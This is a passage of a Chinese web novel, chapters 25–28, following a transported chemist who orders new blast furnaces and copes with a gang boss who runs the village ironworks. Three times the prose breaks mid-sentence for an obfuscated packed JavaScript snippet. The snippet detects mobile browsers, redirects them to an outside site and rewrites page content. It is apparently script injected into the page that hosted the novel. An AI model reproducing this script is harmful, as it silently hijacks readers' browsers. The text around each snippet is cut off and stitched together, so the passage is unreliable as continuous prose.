“吴师傅。”苏冶低声道。 吴江见她这般，也压低了声。 “小苏，有些日子没见你，怎的今日来了。” 苏冶没时间同他寒暄，直接道：“家里男人回来了，如今想开个铁器铺子，想置办炉子，知晓您这儿东西好，带着他来看看，只是我那丈夫是个小心眼多疑性子，这些个日子不在家里，如今若瞧着我同您熟络，免不了一番多想。” 吴江顿时明了她的意思，开口道： “无妨，你不必操心，等下他过来，我只当你第一次来，必不叫他多心。” 苏冶面上几分感激，“那便多些吴师傅了，我这就唤他进来。” 25.故人 赵二掀帘而入，四下打量一圈后，视线落到了吴江身上，觉得没甚出挑稀奇之处，不晓得苏冶怎的就要这家。 这般想着，他神色间带出了几分倨傲。 “一丈多高，腰鼓式，这里有吗？” 吴江做这行，见惯了形形色色的人，不将他的傲慢放在眼里，只点头笑道，“自是有。” 不想苏冶却道：“二丈的，广前得有二尺五寸，左右各一尺六寸，不要自个儿家用的土高炉，腰鼓的双节的灯罩的通通不要，得全用石头砌的，内壁是牛头石，您这处可有现货？” 吴江微微蹙眉：“不论大小，就姑娘说的这制式，几近官用了，现货必然是没有。” 吴江的话在苏冶意料之中，这里日常造的以民间土法炼制的土高炉为主要，她的要求，现货大抵是没有。 “可能在您这处订货？” 见吴江面露迟疑，赵二趁机道： “你这说的不是惯用的，怎的自作主张？” 苏冶转头看向他：“出门时不是同相公说好的，此番采买由我做主。” 言下之意，离开时同赵玉芬和和钟应交代好的，这次出门我说了算，你跟着就行，别那么多话。 见苏冶眼里有几分警告，赵二心下不服，但怕露馅儿，还是敛了几分不客气。 “是这般说没错，只怕咱手头的银子不够。” 苏冶：“相公不必担心这个，我自有数。” 一丈变两丈，赵二不晓得她是怎么有数的，倒也闭了嘴，便让她搞吧，瞧瞧她能搞出什么幺蛾子。 吴江的视线在两人之间来回转，见气氛有些紧张，便笑道： “倒也不必过于忧心价码，二丈的炉子难在操作，而非制造，要真做，顶多些料子本，其它的余不出多少。” 苏冶点头，“想来吴师傅这里能做，不如定个日子。” 吴江：“这样的制式先前做的少，不晓得如今制不制的出来，怕是得等些时候。” 苏冶：“它处不知晓，吴师傅的能耐春花镇出了名的，若您这处造不出，便得出来阳县了，到时候路费人工摊下来，可就真吃不消了。” 吴江有些受用，笑道：“也罢，老夫先与你图纸，你先瞧瞧。” 苏冶:“好，劳烦吴师傅。” 吴江将手上事情料理了下，便去了屋角的木桌处制图。 赵二等得有些无聊，又嫌屋里闷，便掀起门帘踱步到了屋外，苏冶见状也跟了上去。 突然想到了什么，赵二问道：“你怎知这姓吴的是春花镇最有能耐的，你同他认识？” 苏冶：“你平日里没出门办过事？到了哪家不得说些好听的，况且我不似你，整日只知打听些同自个儿不相干的闲事，我虽住得偏，哪家盐好、哪家米足，我可都门清儿。” 她语气故带了几分揶揄，果真说得赵二翻了白眼。 “知道的净是些娘们儿的小家子事，还得意上了。” 苏冶见转移了他的注意力，便顺着说： “你平日里不食五谷？冬日不着袄子？日日同这些事打交道，这么说你也是个小家子人。” “你这臭娘们儿净会胡扯，嘴皮子利索将来没男人要你！” 每次同苏冶过嘴，赵二都说不过她，到最后也只能靠人身攻击恼羞成怒这样的低级方式输出。 苏冶知道自己占了上风，见好就收，不再同他纠缠，只径自离开，赵二没理，瞧见她心里也堵，自然是离她远些。 苏冶掀帘进了屋，赵二也没有跟上来。 转头确认门口没动静时，她快步走到吴江案前。 吴江做事情的时候专注，以至苏冶在他对面落了座，影子投在纸上挡了光，他才蓦然抬头 见苏冶面上神色，知晓她是有事。 “怎的了？” 苏冶也不磨叽，开门见山道： “想同您打听件事儿。” —— 赵二消了气进屋时，吴江已然将图画好，正同苏冶商议着细节。 他瞄了一眼苏冶手上的东西，随口道：“你这地方瞧着狭促，造得出这东西吗？” 苏冶转头瞪了他一眼。 炉子自然不是在这小店面里造，也当然不是吴江一人造，这小铺子不过就是个接单的门面，造炉的厂子又不在此处。 赵二不至于白痴到这程度，此时说这话，就是有意叫苏冶难堪。 她没搭理赵二，只同吴江继续商议。 待将一切定好后，吴江开了报价单子，苏冶接过细看。 到了掏银子的时候，赵二也不马虎了，凑上了看了一眼便道： “这不行。” 单子上的报价确是比先前在村子里商议得多出了些，这次炉子的用料做工都是苏冶都是自己把关，净挑好的使。 “不必操心这个，多出来的我补。” “你出？”赵二言语间尽是轻蔑，“你哪来的银子，用什么补。” 苏冶转头看向吴江，对方面上有些尴尬，她便道： “您先忙，我同他说说。” 说着，将赵二拉出了门。 “我如今手上是没现银，但你该去问问你的主家，往后那炉子里出的铁，我都有分成，这头个月的分成，我不要了，充做购这新炉的钱。” 赵二想了想，赵玉芬好像确是同他说过此事。 “此事你只管回去交差，若是曹经问起，推给我，我自有说法。” 见她这么说，赵二心想，罢了，如今的情势，他口袋里总归落不下什么，便由她去，多花了银子，到时候曹经怪下来，总不是他没说过。 赵二没了意见，苏冶这边很快也签了单子。 “您将厂子的地方一并写与我，这东西我们自个儿运。” 吴江有些奇怪，好意提醒道：“倒不是我多图银钱，只是我这处装载都是自个儿人，算下能省不少，县里人工如今可不便宜。” 苏冶知晓他是好心，只是他不知晓苏冶这边的情况，曹经那边，采买松些倒是无妨，货运净是自己人，绝不教他人沾手。 赵二见吴江这没问，正欲开口教他别管那么多时，苏冶却抢在了他前头。 “我娘家有个表兄，专门做这行当，前些日子说愿意给我们帮忙。” 吴江听她这样说，便不再劝她、 “如此也好。” 货单一式两份，双方各执一份，苏冶这边用的是曹经先前嘱咐好赵二的户头签的。 事情一了，两人上了来时的马车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282015|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 路上，赵二无聊得紧，便又拣起些琐事说。 “刚刚何必同那老头子费那些口舌，言多有失，说漏了怎么办？” 赵二难得说出“言多有失”这样有水平的话，却是为了给自己找茬。 “人情留一线，日后好相见，这趟买卖要是实惠，来日置炉子便定下这家，这对咱们只有好处。还有，要是将话说不明白，才更惹人生疑，这些做生意的心里都有杆秤，多些时候，宁愿少赚些银子也不想沾上不好的东西。” 说着，苏冶看向他： “你非是不懂这些，只是于我有成见，这吴老板是我选的人，你才对他处处轻蔑，今日若换了赵大娘或是钟师傅，你必然不会像今日这般。” 赵二见自己的心思被点破，也不心虚。 “你不过会些三脚猫的花把式，沾点运气凭着这些入了曹爷的眼，得了点器重便要将尾巴翘到天上去，也配同钟师傅相提并论。” 苏冶并不反驳，只问： “若这些日子，炉子里那些铁都换成钟师傅的手笔，你可还会这样想？” 说到底，她无论做到什么份上，在这样的人眼里，都不过是气运。 果不其然，赵二嗤笑道： “无论钟师傅怎样，你总归是个娘们儿，成不了火候，好心提醒你，趁着这点花把式嚣张些日子，早晚是要落下来。” 苏冶听他这样说，思绪回到了前世。 她学的是化工，在她的记忆里，性别和年龄的歧视从来没有淡出过她的视线，只是那些人大多不会将这些搬到台面上来说。 每每她当她做出成绩，那些人便会将“不容易”“难得”这些字眼套在她身上，或许说者无心，但她不可避免联想到这些话背后沉下太久的意识惯性——有这样的成绩不是理所当然，是稀罕事，所以“难得。” 如今，她落到这个时代，这些话刀子不再闷在地底下，而是明晃晃地爬出来落在她的身上，她不由得想到，前世自己那些不确定的不适，或都有迹可循。 许是地面上有块石头，车轮碾过时，“咯吱”一声闷响。 苏冶掀帘朝外看去，随即转身看向赵二。 “来的时候不是这条路。” 赵二打了个哈欠，漫不经心道：“还有件事情，今日得一并办了。” 思索片刻后，她放下车帷，不再追问。 马车缓缓碾过黄土小道，空气中只剩下蹄声的“嘚嘚”声和车轮转动的声响，偶有碎石硌过，车身轻轻一颤，倒也动静不大。 约莫半个时辰后，马车到了目的地。 赵二正色提醒道：“你坐在里头，不许下来，也莫要掀帘看。” 苏冶瞧他面上神色，也不做纠缠，利落点头应下。 “好。” 赵二下车后，便有另一道男声响起。 “人都到了。” “嗯。”赵二应下，随即传来脚步声。 随后说话声小了些，还混着些似是拆卸货物的响动，苏冶听得不大真切。 偏就在这时，一道人声飘进车厢，撞进了她的耳朵，身量不大，似是只说了个“好”字，她却听得格外清楚。 只因她对这道声音太过熟悉…… 是李三。 26.废物 苏冶微微俯身，凑近车帷子细听，那道声音已不似方才清晰，只余些断断续续的应和声，极轻，却足以让她确定，那声音就是来自李三。 她与李三朝夕相处过一段时日，对他的声音和说话调调都有印象，他声音沉，说话却莫名有些飘忽，断句方式也有些个人特色，同此时她听到的别无二致。 恰在此时，马车外人声渐消，取而代之的是货物装卸的声音。 车轮碾过地面的滚动声响起，赵二跟车夫嘱咐了一句，掀帘而入。 上去后，看见苏冶双手环住倚靠在车壁假寐，他道：“搁那儿装什么，没掀起帘子偷瞧？” 苏冶没睁眼，面色不改道：“我倒是想瞧，却也不敢，万一窥见什么不能叫我知晓的勾当，不得搭条命进去。” 赵二闻言冷笑一声：“你知道便好。” 他心下知晓，苏冶确实没有偷看，下车时他教车夫盯着，她没那空子钻。 此番出来前，曹经叮嘱他将这次运货的事情一道办了，免得多走一趟生出不便。 赵二自然是不大愿意，一来，多走一趟自然是好，路上能找空子喝喝花酒，二来，这趟有苏冶跟着，先不说他瞧着娘们儿不顺眼，往正经上说，这人来这里才多少日子，出了点功劳便让她掺和进来这些要事，谁知这人信不信得过。 他将顾虑说与曹经，不料对方不以为意，反对他道：“莫因她是个女子就看轻了去，她能耐可不小，如今既替我们做了这些许事，便算是半个我们的人，这些事情教她知晓些也无妨。” 赵二听了这话，顿时瞪大了眼睛，看向曹经，怀疑自己这个眼前这个老板是被夺了舍。 你不是最阴狠多疑吗？ 你不是平日里在我跟前说那人是贱命吗？ 怎的如今走起了不执偏见以才取士的温和宽厚路线。 “您莫不是……？”莫不是谋划着给姓苏的好果子吃。 谁料曹经摇头叹息。 “近些日子，我夜里常睡不着，总有些不干净东西入梦，想来是早些年因心狭，手上沾的脏污太多，这些日子，瞧着他们院里几人一心，将事情办得漂亮，或许我该杀杀以往的作风，替自己积些□□德。” “……” 老大，您都给阎王冲过多少次年终日常KPI了，积阴徳通道再怎么排号也轮不上您呀。 赵二看着曹经一脸伤春悲秋，终是将心里话咽了回去，只默默点头。 但他不曾想到，曹经的“积阴德”竟不只是说说而已。 待他同苏冶自春花镇返回，迎接他的场面让他愣在了原地 “回来啦，快些过来坐。” 钟应正坐在圆桌后，朝苏冶招呼，对面还坐着赵玉芬。 赵二朝桌上看去——酱焖茄子、红烧鱼、炖鸡……敢情是订了桌席。 这是干甚，有什么喜事。 他转过头，看向苏冶，眼神发问：你又搞什么鬼。 巧了，这事苏冶还真不知道，她不明所以看向桌上俩人，这是唱哪出，鸿门宴？ 恰在此时，曹经的声音自背后响起。 “都回来啦，快些入座吧。” 说着，曹经落座主位。 赵二摇摇头，倒也跟着坐在了赵玉芬身侧。 苏冶看着这一桌佳肴，又看向曹经，那人面上洋溢几分喜色，脸色微微发红，似是喝了酒，有几分醉意，面上罕见透出几分和气。 她并未同赵二一道落座，只说道： “既无事，我便先回去了。” “等等。” 赵玉芬从身后叫住了她。 苏冶闻声止步，回头看向赵玉芬， “既来了，便一道坐下吧。” 苏冶看着这一桌人，道：“有我的份？” 赵玉芬道：“何止，想来某人特意替你张罗这一桌。” 苏冶来了兴趣，也不走了，几步上前，在钟应身旁落了座。 “曹大人，我今日怎的有机会上您的桌吃饭？” 曹经看向苏冶，醉意冲掉了面上几分戾气。 “你是沾了光，今日钟老生辰。” 一旁赵玉芬插话道：“往年钟老莫不是没有过生辰，怎的不见你这般热心。” 曹经笑道：“往年手头紧，如今小苏本事大，咱口袋里多了银子，自是得张罗张罗。” 赵玉芬：“真是比城墙厚的脸皮，你手头紧，我们不得到城门口要饭去。” 钟应也掺和了进来，看向赵玉芬，“你也莫要揶揄他，总归是为我这把老骨头出了血，正好你生辰也快到了，趁着这个由头，宰上他一笔。” 曹经将杯中酒满上，递给钟应：“还是钟老会说话，一句叫我二人都栽进去了。” 钟应顺势接过，“这是要堵我的嘴。” 曹经：“我哪敢堵您的嘴。” 说着，又倒了一盅，这次却是递给了苏冶，语气自然道： “能喝吗？” 苏冶点了点头，接过他手里的酒，没有推辞，一饮而尽。 曹经见状满意地点头，一旁赵玉芬却道： “给姑娘家的递什么酒，收收你们这些臭德行。” 曹经忍不住道：“整桌子三个汉子凑起来都能被你喝趴下，你倒说起了这话。”说着，他看向赵二，“你说是不是这个理。” 赵二好酒，一上桌便卯着劲地喝，偏酒量一般，此刻面上已有几分酡红，口齿不清道：“我赵姐姐今日当淑女，老大你莫不给面子……” 曹经闻言大笑，将剩下半壶酒推到了赵玉芬手边。 桌上觥筹交错，众人或说或笑，与往日在苏冶等人面前拘着的模样全然不同。 这几人的醉意愈重，苏冶的意识便愈发清晰。 这一圈神色间尽是熟稔自在，似乎分毫没有因为她这个“外人”有什么拘束，赵玉芬和钟应还时不时朝自己抛些话头，不教她觉着尴尬或是受冷落。 沉默间，她连饮数杯，不自觉也有了几分醉意。 —— 晚上回去院儿里，王喜正站在屋外等她，瞧见苏冶回来，连忙上去扶了她一把。 “怎的醉成了这样。” 王喜扶着她往屋里走，恰巧此时来人聪打屋里出来，隔老远便闻着了酒气，随即朝着苏冶的方向走过来。 “贵人回来了，快些把人扶进去好好伺候吧。” 王喜听出了来人聪语气有几分不对劲。 “你阴阳怪气什么呢？” 来人聪冷笑道：“都听人说了，姓曹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16288731|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的今日特地摆了一桌好酒好菜，招呼咱院里这大牛呢。” 王喜：“三人成虎的闲话你也跟着乱说，是白日里看火太清闲没累着是吧。” 来人聪：“我累没累着不要紧，您身边这位如今成了姓曹的眼前红人，往后同他们是一道的，定是吃香喝辣，再也累不着了。” 王喜听他这话，气得跺脚，却怕苏冶听着心里不舒服，便不再理他，扶着苏冶便要往屋里走，却不想苏冶抓住了她的胳膊，一股力道教她没法子再往前走。 紧接着，便看到她转过身，头有些歪斜地看着来人聪。 “你什么意思？” 她是醉了，倒没被封了五感，虽有些站不稳，来人聪的话倒是还能听见。 来人聪也不怕她听着，说道：“我能有什么意思，你如今认贼做主家，替他们卖心卖力，自然同他们是一路人，何必问我的意思。” 苏冶闻言，垂下头，似有几分意识不清，待揣摩明白来人聪话里的意思时，空气里传来一阵很轻的嗤笑。 “蠢。” 声音很轻，却还是入了来人聪的耳，他放下了环在胸前的胳膊，语气忿忿道： “你说谁？” 苏冶这时抬起头，直视来人聪，眼里多了几分清明。 “这里还有人担得起个蠢字吗？” 还不待来人聪发作，苏冶便接着道： “你若不蠢，能流落到这里？你那相好的离开也有一月了吧，不是说着要救你，怎的没了动静，你心里怕是还念着，指望一个手无缚鸡之力的女子救你？凭什么，凭她对你有情？” 苏冶冷笑一声，继续道：“我便同你说吧，那血书是我求那姑娘替你留下的，让你有个念想，人大好年华，难不成耗在你这个废人身上。” “我说你蠢，因为你这种人没能耐，所以好讲个情字，你没能耐帮那小翠摆脱苦楚，便用你那自以为是的怜惜补偿，看着一往情深，实则是逼着那姑娘同你作这出戏，她若不愿，便是忘恩负义对不起你，你若真对她有恻隐之心，就该送她远走高飞，而非让她时刻记着你这份恩，一辈子困在你这不值钱的情意里。” 来人聪眼底已有些猩红，苏冶却没有停下。 “因为你没能耐，所以对着曹经这些诓骗盘剥你的人，你只能同他们赌口气，嘴上将他们贬地一文不值，仿似你饿着肚子受苦是因为心存正道大义与他们对着干的惩戒，这样你便比我高一等？因为你好讲个”情”字？” 苏冶挣开了王喜的手，慢慢靠近来人聪。 “我有能耐让自己过得更好些好，为什么要为了你那无用的情字，同你一道当个废人，我出汗出力，实事一件没落下，所以我今晚能吃顿好的，你将这些无用的道义挂在嘴边，因为你只有这些了。” 王喜在一旁听着，心里也生了几分骇意，苏冶的话说的太辛辣，是能直捅入对方心窝子里的。 她本以为来人聪会发作，却不曾想到，他眼里血色红竟一点点随着苏冶的话褪了下去。 突然一阵闷响，来人聪竟直直倒坐在地上，垂着头，看不清面上神色。 就在此时，门口处传来动静，王喜看去。 “白兄弟回来了。” 苏冶闻言抬起头，正对上对方的目光。 27.米瓮 苏冶没有避开小白的视线，目光相撞，两人似乎都怔了一瞬。 夜风微凉，月光在两人眼里映出一点清辉，却又迅速隐没。 很快，苏冶回过神，神色恢复自然，朝来人聪的方向轻瞥了一眼，声音带着几分倦意对小白道： “把人带走吧。” 说罢，不等回应便转身朝屋里去，步子有些踉跄，王喜见她有些晃，从背后搀了她一把。 “小心。” 回屋后，王喜也没怎么说话，见她醉意重，便替她打了热水，随后如往常一般，将这屋子上下一番清扫。 熄了灯后，王喜摸黑上床床，视线在夜色里逐渐清晰，她侧过头，瞧见苏冶呼吸均匀，似是已经睡熟了。 静默片刻后，她用极低的声音道： “今日来人聪说的那些话，你莫要放在心上。” 见苏冶没有回应，她继续低声道： “我惯常说你是个好人，可这个“好”字不该成枷子箍住你，教你时时刻刻替我们忧心，我说你好，非是想要你做些什么，而是记挂往日你对我有过的关照。” 今晚的夜格外寂静，屋子外面有些聒噪的蝉鸣夜歇了声。 “你虽果断，心却也不是铁打的，今日听了那些个话，定不好受，甭管你以后怎样，我总站在你这边，未必能帮得了你什么，只我能做的，都会替你想。” 王喜话音落下时，身边人突然翻了个身，背对了她，面朝向月光渗进来的窗口。 规律的呼吸声很快又传了过来。 王喜看了眼她，终是没再说什么，阖上眼，同她一道入了梦。 —— 第二日卯时，苏冶起了身，见王喜还在睡，没有叫醒她，稍作收拾后便亲手亲脚出了门。 到河边后，炉火还在燃，这是加了浇注改造的第二炉，这炉熄火后，吴江那里购置的新货也差不多要送到。 炉边看火的人一夜没睡，都累得紧，瞧见苏冶过来，眼皮也懒得抬下，这些人此刻最想看见的，是换他们班的人。 正巧，苏冶前脚刚来，后面一队换班的人陆续也到了河边，小白也在其中。 “苏姑娘来啦。” 比起值夜的，这些人精神稍好些，有几个人同她招呼。 这些人中有不少同苏冶一道掌过火，多少说上过几句话，加之昨晚上的事，此刻这些人已经默认苏冶同同赵玉芬他们成了一道，故而心里态度有些复杂，既有厌恶和轻视，也有些感激和害怕，总之面上不敢得罪，生怕她在曹经那些人处嚼他们舌根。 苏冶一一颔首回应，随后看向小白，“白日就你一人吗？” 小白正要说，身后便传来一阵脚步声。 朝前看去，来人聪正朝着这处走，今日倒难得没迟到。 苏冶瞧见他过来，神色间并无什么不自在，语气如常对众人道： “先架炭吧，等下人到齐了再加火。” 几人点头应下，朝着木炭堆走去。 见身旁人散开了些，来人聪主动朝苏冶走来。 “昨夜我不该对你说那些话。” 苏冶正低头察看火，闻言没有移开视线，只道：“既是昨日的事，今日便不再记着。”说着，她看向一旁矿料堆，“去筛料吧，小白一个人忙活呢。” 她似是不愿说太多，来人聪却明白，昨晚那事，算是翻过去了。 小翠离开的这些日子，他大都心神不宁，昨夜见她从曹经处回来，又听着身边人添油加醋一顿转述，一时间气上心头，失了理智，说了些不好听的。 后来苏冶那些话听着刺耳，却是教他清醒了许多。 他这些年做讼棍，替人扯皮打官司，形形色色的人和事都见识过不少，知晓在如今这世道，人人都是顾着自个儿，若有余力，不给你吐口唾沫消遣已是难得，又有几人愿意替你谋些好处，还有些人，嘴上好听的一句没少过，真正遇上事情却将你往火坑推，对他们没甚好处，不过多些解闷的热闹罢了。 苏冶的话点醒了他，不该事事讲究个情字，觉着理所应当，能有份情是好，却不是应该。 进了哑沟后碰见苏冶，于他而言，日子只是好过了些，曹经给他们发了工钱，能拖上些人同外面带进来些新鲜吃食，村里众人见他跟苏冶走得近，对他态度也隐隐能好上些，如此下来久了，他便觉得这是应该，却是失了人情的分寸。 如今这事也算了结，想着，他走到矿料堆前，同小白一起筛分。 说起来，昨夜还是小白同他说，该去向苏冶赔个不是。 见此事过去，来人聪没心没肺那股赖子劲儿又上来了，一边忙活，一边用肩膀轻撞了下小白。 “说老实的，你是不是对人有意思？” 小白没停下手上的活，语气平淡： “谁？” 来人聪不知是装糊涂还是真糊涂，索性将话挑明。 “苏老大啊。” 谁知小白面色一点未变，仍旧淡淡道： “没有。” 来人聪不曾想到他否认得这般干脆，好歹也该有个脸红结巴吧，他仍不死心道： “咱老大也算是姿容姣好，况且我瞧着你平日没少关照人家。” 小白依旧不多解释，只重复道： “没有。” 来人聪见他嘴硬，知道问不出什么，只得悻悻道： “罢了，横竖是撬不开你的嘴。” 小白没再说话，垂眸继续筛料。 —— 十五日后，购置的新炉送到了哑沟。 至此，先前哑沟用的三座老家伙彻底退出了历史舞台。 村里几乎所有人都聚集在河边，盯着眼前的大家伙打量。 这三座新炉较先前用的高处不少，得有二丈。 炉子是圆锥形，上口向上缩小，炉腰上还捆着加固的铁链，炉后面安装着木风箱，是苏冶先前做的活塞式，这次拖吴师傅一道做了新的。 钟应绕炉一圈细细打量，瞧出此次设计有不少门道。 先是炉前炉脐的地方，有个像是柳木棒钻的小窍，窍下面还有个熟泥做的小坡。 “这是甚？”钟应指着那处发问。 苏冶上前一步，解释道：“这是”溜”，用这个口子放铁水，比先前浇注方便些。 钟应捋须点头。 先前只有她同吴江协商一番修改后的草图，如今实物送到眼前，苏冶心里多少有些不一样的感觉。 这东西全然是按照她的意愿来的，耐火材料用的是瓶砂、白鳝、炭屑、小麦穗和泥调和成的耐火材料，炉壁上部向内倾斜，这是钟师傅作草图时她加的主意，可以将热能利用地更充分些，熔化会快些。而且上口小，下面炉膛大，便能形成一个自然的斜坡，炉料更 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298308|180764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容易下去，不会像上次一般，出现悬料的事故，炉子下面形成炉缸，热量也能集中些，利于铁水熔化。 早先旧炉子改动时，河边置炉的方塘她便做出了些改动，如今安放新炉刚好。 同高炉一道送来的还有铸范，都是她当日在吴江处挑好的，同铸泻铁盘一道安放在方塘处。 炉子升级了，村里人的心情却同它是负相关。 炉子大了，他们的工作量无疑也要扩张。 光是炉子后面的风箱，瞧着比原先大出一倍。 “这玩意儿……一人能拉得动？” 隔壁院里孙大娘家男人忍不住小声嘀咕。 苏冶认识他，她记得，这人也姓孙，叫孙满仓。 她就站在前面，自然是听着了他们的话。 随即道：“这风箱得四个人拉。” 孙满仓一行人听到，心下稍安， “总归是轮着来，同之前的橐囊一样，两三个一起。” “对头，这样还好些。” “……” 苏冶听着他们议论，心道，自然是好些，四个人一道，便能多些摸鱼的机会。 当然，这摸鱼也不能齐刷刷一起摸，顶多是你摸一会儿我使力，我摸一会儿你使力，大家轮着来。 这风箱的盖板上虽装着四个推拉的木杆，但从力学角度来估量，两人便能拉得动。 但她还是特意多加了两个，为的就是多提供两个摸鱼的位置，能多省点力是一点，不然以曹经的作风，个把月下来，这群人必得被榨干，一个个变成行尸走肉。 说曹经曹经就到，只不过这次他不是一人前来，身后还跟着两个怪人。 河边众人的目光都被这两人吸引了过去，因为他们的穿着打扮有些特殊。 两人是一样的衣着，深褐色的麻布长衫，草绳编织的腰带上系着一个小布袋，白色麻布束发，中间插的像是一小截倒杆。 稀奇的是两人脸上都戴着面具，瞧着是涂了白漆的硬纸壳做的，黑线在眼睛处勾了两道穗状的东西，额头有三颗形状不太均匀的点，除此以外，没有任何装饰。 苏冶看着这两人神魔鬼怪江湖术士的做派，不禁想到，曹经莫不是请了人来做法？ 冶铁这行当多少也是有些迷信，规模大些的铁厂，每每开炉前都要去拜当地的炉神。 她曾问过吴江，他们镇上供的是金火二仙姑，不知曹经今日是要拜哪位神。 苏冶倒是没猜错，曹经请的这两人确实是来祭神，但祭的却不是金火二仙姑或是涌铁娘子。 只见曹经微微弓腰，朝着俩人中个高的那位道了声：“请。” 为首那人微微颔首，随即朝炉旁走去。 苏冶看着面具男踱步走到炉前，不知为什么，总觉着这身影有些说不上来的眼熟。 那人走到炉旁后，东向而立。 盯着那炉子瞧了一会儿后，伸手将腰间的布袋解了下来，拉开抽绳后，从里面倒了些东西出来。 众人探头去往，却因视角原因瞧得不大清楚。 直到面具男将手里东西洒在炉前地面上，人群里倏而响起几道吸气声。 “莫非这是……” 苏冶听见身后的动静， “是什么？” 孙满仓看向她，神色中似有几分惊惶，随即低声道： “米瓮。” 28.编制 米瓮。 苏冶不是第一次听到这个名字，上一次还是在不久前，从赵二口中听得。 照这样说，这两人该是米瓮里的神棍之流。 曹经怎的请人偏将这两人请了过来，是凑巧还是有意。 不想接下来，炉旁那神棍面具男开口后，她愣在了原地。 “人间谷，落地跟，入炉灰，封死口。” 嘴里念叨着，面具男从袖中掏出一张皱巴巴的黄符，指尖沾了炉灰，在符上画了几道歪斜的纹路。 紧接着，符着了。 不知是哪里来的火，总之见他手一挥，那道符上便冒了火星。 烧尽后，面具男将灰烬撒向炉膛，又念叨道： “天火盖地火，阳人镇阴魄，炉前不存鬼，炉下无魂躲” 念着，他弯腰抓起一把铁砂，混着剩下的米，砸向炉壁，传来轻微的“劈啪作响”声。 大米都落到地上后，停了动作，转身走向同他一道来的神棍，将空了的米袋子递给了那人，而后转身面向曹经，轻点了下头。 曹经见状，笑着颔首回应，接着踱步至炉旁，绕着走了一圈后，面向苏冶一行人站定。 清了清嗓子后，他开口道： “几月前高炉损毁，皆因不曾祭拜炉神，如今置了新炉，特请来仙师祭祀……” 不待曹经说完，方才洒米的面具男已先一步迈步离去，同他一道来那人也跟了上去。 待那两人都离开后，曹经神速变脸，收了那副带着些谄意的笑脸,恢复惯常的冷戾。 “收拾干净。” 他对身边的随从说道。 随即，神棍洒在地上那些米粒被一颗颗捡了起来，曹经伸手接过后，一把丢在了炉子里面。 苏冶看着曹经，觉着稀奇。 这人刚刚嘴上还念叨着祭拜炉神，好歹该有些迷信的因子，况且，她记得与曹经初见时，李三用葫芦对着他，他明显有些忌讳，如今却是一副鬼神不认百无禁忌的模样。 相较之下，她比较愿意相信，曹经那点对鬼神的敬畏都是装的，一个满手是血的杀人犯，怎会害怕神佛有眼。 将场地清理了下后，曹经便同钟应一道朝苏冶走来。 她见状也没等在原地，向前几步凑了上去。 “如今该做的都打点完毕了?” 苏冶知晓他问的是炉子的事情，点了点头。 “那便好，今日便起炉吧。” 撂下一句后，曹经欲转身离开，苏冶想要叫住他，钟应该却在她之前开了口。 “今日刚祭了炉神，不如先歇歇火，炉子连着烧了两月，村里诸人也都有些吃不消了，就今日，歇上一日，让伙房做些好的。” 不知为何，苏冶总觉得钟应这话听着有些不对劲，又或者，不该从他嘴里说出来。 在外人看来，钟应这人自然是比曹经慈眉善目些，人也好说话。 但苏冶可从来不敢看清这老头，她的原则很简单，不看那人说什么，但看那人做什么。 退一万步说，钟应是曹经这边的人，同他是站在一处的，真正有事的时候必然是向着曹经的。 就今日来说，他与曹经相处也有多年，自然知晓曹经不把人当人的秉性，却抢在她前面开这个口，无疑是多此一举。 果不其然，曹经道：“要是日日都休沐，还来此处作甚。” 苏冶听到这话，忍不住在心里翻了个白眼。 好经典的资|本家嘴脸，丝毫不提他们是被你拐来的，也丝毫不提外面的人不休沐也有工钱。 不干要榨干你的剩余价值，还要给你洗脑有机会做牛马被压榨是你的福气，只有你有这样的机会，说明什么，我重视你的价值呀！ 心里在咆哮，开了口，苏冶却道： “赚银子才是最要紧的，这火少烧上一日，便要少出将近四百斤的铁，况且这炉子看火本就是轮值，自然是歇息足了才教他们来，这月若不快些起炉，”苏冶笑道：“下月的矿料和木炭哪里来。” 钟应听她这样说，目瞪口呆，真是开了眼，但开的是这丫头的眼，她见钱眼开。 倒是曹经，一脸欣慰看向苏冶，果然钱财的诱惑力不可小觑，你终于也有几分我的风范了。 于是，新置的高炉还没渡过水土不服的适应期，便投入了运作之中。 毕竟是新炉，众人还不太熟悉运作模式，故而今日只开了一炉的火，由苏冶和钟应两人照看着。 这炉子的设计基本都是苏冶把关，钟应本以为，炉子大了，操作起来也会复杂些，不曾想到，除了人力增加了些，这炉子操作的流程和法子竟是更简单了些。 将一些且要嘱咐钟师傅后，苏冶教她先回去休息，自己则是在河边一直盯到了晚上。 昨晚上经历的宿醉，她脑袋其实有些不太舒服，加之这些日子睡眠都有些不太充足，即便她几乎从不失眠，时间被压缩在那里，也不由得她。 索性钟师傅晚上到得早些。 “快些回去睡着吧，眼里都冒血丝了。” 